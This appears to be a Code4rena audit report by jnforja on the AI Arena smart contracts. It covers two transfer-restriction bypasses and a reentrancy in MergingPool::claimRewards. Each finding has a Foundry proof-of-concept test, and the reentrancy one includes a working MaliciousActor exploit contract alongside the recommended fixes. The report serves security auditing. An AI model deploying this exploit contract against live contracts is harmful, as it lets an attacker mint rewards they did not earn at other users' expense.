AI Arena - jnforja's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L346-L347 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L363-L364

Vulnerability details

Impact

Custom validations to determine if a fighter NFT is transferrable can be bypassed.

A user can transfer a fighter that has $NRN staked resulting in an accidental transfer of $NRN together with the fighter.

A user can own more than the maximum number of allowed fighters per user. For example, a user could get a fighter to an account that is under the maximum number of allowed fighters and transfer it to an account that is already at the limit.

Proof of Concept

A user can skip custom transfer validations by calling FigtherFarm::safeTransferFrom(address, address, uint256, bytes).

// Add this test to FigtherFarm.t.sol to run it.
function testCanTransferStakedFighter() public {
      _mintFromMergingPool(_ownerAddress);
      _fighterFarmContract.addStaker(_ownerAddress);
      _fighterFarmContract.updateFighterStaking(0, true);

      assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
      address rand = address(1);
      vm.prank(_ownerAddress);
      _fighterFarmContract.safeTransferFrom(_ownerAddress, rand, 0, "");
      assertEq(_fighterFarmContract.ownerOf(0), rand);
    }

Tools Used

Manual Review.

Recommended Mitigation Steps

Override ERC721Enumerable::_beforeTokenTransfer to also implement the custom transfer validations.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301-L302

Vulnerability details

Impact

Game Items can be transferred to other users despite being marked as not transferrable.

A malicious user can use this to bypass the battery daily allowance of 5 and gain an unfair advantage over other users. As long as the malicious user has the necessary $NRN, he can create new accounts, mint more batteries, and transfer them to his main account.

Proof of Concept

A user can bypass the transferrable check by calling ERC1155::safeBatchTransferFrom.

//@notice copy-paste this to GameItems.t.sol to run it
function testCanBypassTransferabilityRestriction() public {
        _gameItemsContract.createGameItem("Item", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10);
        uint256 createdItemId = _gameItemsContract.uniqueTokensOutstanding() - 1;

        _fundUserWith4kNeuronByTreasury(_DELEGATED_ADDRESS);
        vm.prank(_DELEGATED_ADDRESS);
        _gameItemsContract.mint(createdItemId, 1);
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, createdItemId), 1);
        
        address randUser = address(1);
        uint256[] memory ids =  new uint[](1);
        ids[0] = createdItemId;
        uint256[] memory quantities =  new uint[](1);
        quantities[0] = 1;
        vm.prank(_DELEGATED_ADDRESS);
        _gameItemsContract.safeBatchTransferFrom(_DELEGATED_ADDRESS, randUser, ids, quantities, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, createdItemId), 0);
        assertEq(_gameItemsContract.balanceOf(randUser, createdItemId), 1);
    }

Tools Used

Manual Review.

Recommended Mitigation Steps

Override ERC1155::_beforeTokenTransfer to validate if an item can be transferred.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L149-L163

Vulnerability details

Impact

A user that has won more than one MergingPool round can reenter MergingPool::claimRewards to claim more fighters than supposed.

Proof of Concept

For this attack to be possible, a user needs to have created a malicious contract that will reenter MergingPool::claimRewards by abusing IERC721Receiver::onERC721Received callback mechanism, present in FighterFarm, which is triggered every time a new fighter is created.

To perform this attack, a user needs to:

1. Before a round ends and after having accumulated as many points as possible in the MergingPool, the user should call RankedBattle::unstakeNRN to unstake all the $NRN staked to the fighter and make it transferrable.
2. Transfer the fighter to a malicious contract that will abuse the reentrancy issue.
3. Make sure that until the process of picking a winner is done, the malicious contract is the owner of the fighter. This is important because MergingPool::pickWinner stores the winning addresses based on who's the owner of the winning fighter at the time the function is called.
4. Transfer the fighter back to the user and repeat the initial 3 steps at least once more.
5. Once the malicious contract has more than one reward available, it only needs to call MergingPool::claimRewards and reenter the function every time IERC721Receiver::onERC721Received is called.

Here follows the code that demonstrates the vulnerability:

/// @notice copy-paste this code to MergingPool.t.sol to run it.
function testCanMintMoreTokensThanRewarded() public {
        MaliciousActor maliciousActor = new MaliciousActor(_mergingPoolContract);
        _mintFromMergingPool(address(maliciousActor));
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), address(maliciousActor));
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);

        // assertEq(_mergingPoolContract.getUnclaimedRewards(address(maliciousActor)), 2);
        maliciousActor.claimTokens();
        
        // 4 = initial token with id 0 + 2 rewarded tokens + 1 extra token that shouldn't have been given.
        assertEq(_fighterFarmContract.balanceOf(address(maliciousActor)), 4);
    }

contract MaliciousActor {

    MergingPool private _mergingPool;

    constructor(MergingPool mergingPool){
        _mergingPool = mergingPool;
    }

    function claimTokens() public {
        uint unclaimedRewards = _mergingPool.getUnclaimedRewards(address(this));
        if(unclaimedRewards > 0) {
            string[] memory _modelURIs = new string[](unclaimedRewards);
            for (uint32 i = 0; i < unclaimedRewards; i++) {
                _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            }
            string[] memory _modelTypes = new string[](unclaimedRewards);
            for (uint32 i = 0; i < unclaimedRewards; i++) {
                _modelTypes[i] = "original";
            }
            uint256[2][] memory _customAttributes = new uint256[2][](unclaimedRewards);
            for (uint32 i = 0; i < unclaimedRewards; i++) {
                _customAttributes[i][0] = uint256(1);
                _customAttributes[i][1] = uint256(80);
            }
            _mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }
    }

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        this.claimTokens();
        return this.onERC721Received.selector;
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

Change MergingPool::claimRewards to follow CEI and reuse MergingPool::getUnclaimedRewards to determine how many fighters should be minted.

After the changes, the code would be similar to the following

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint32 numRewards = getUnclaimedRewards(msg.sender);
        numRoundsClaimed[msg.sender] += numRewards;
        for(uint32 i = 0; i < numRewards; i++) {
            _fighterFarmInstance.mintFromMergingPool(
                msg.sender,
                modelURIs[i],
                modelTypes[i],
                customAttributes[i]
            );
        }
        if (numRewards > 0) {
            emit Claimed(msg.sender, numRewards);
        }
    }

    function getUnclaimedRewards(address claimer) public view returns(uint32) {
        uint256 winnersLength;
        uint32 numRewards = 0;
        uint32 lowerBound = numRoundsClaimed[claimer];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (claimer == winnerAddresses[currentRound][j]) {
                    numRewards += 1;
                }
            }
        }
        return numRewards;
    }

Assessed type

Reentrancy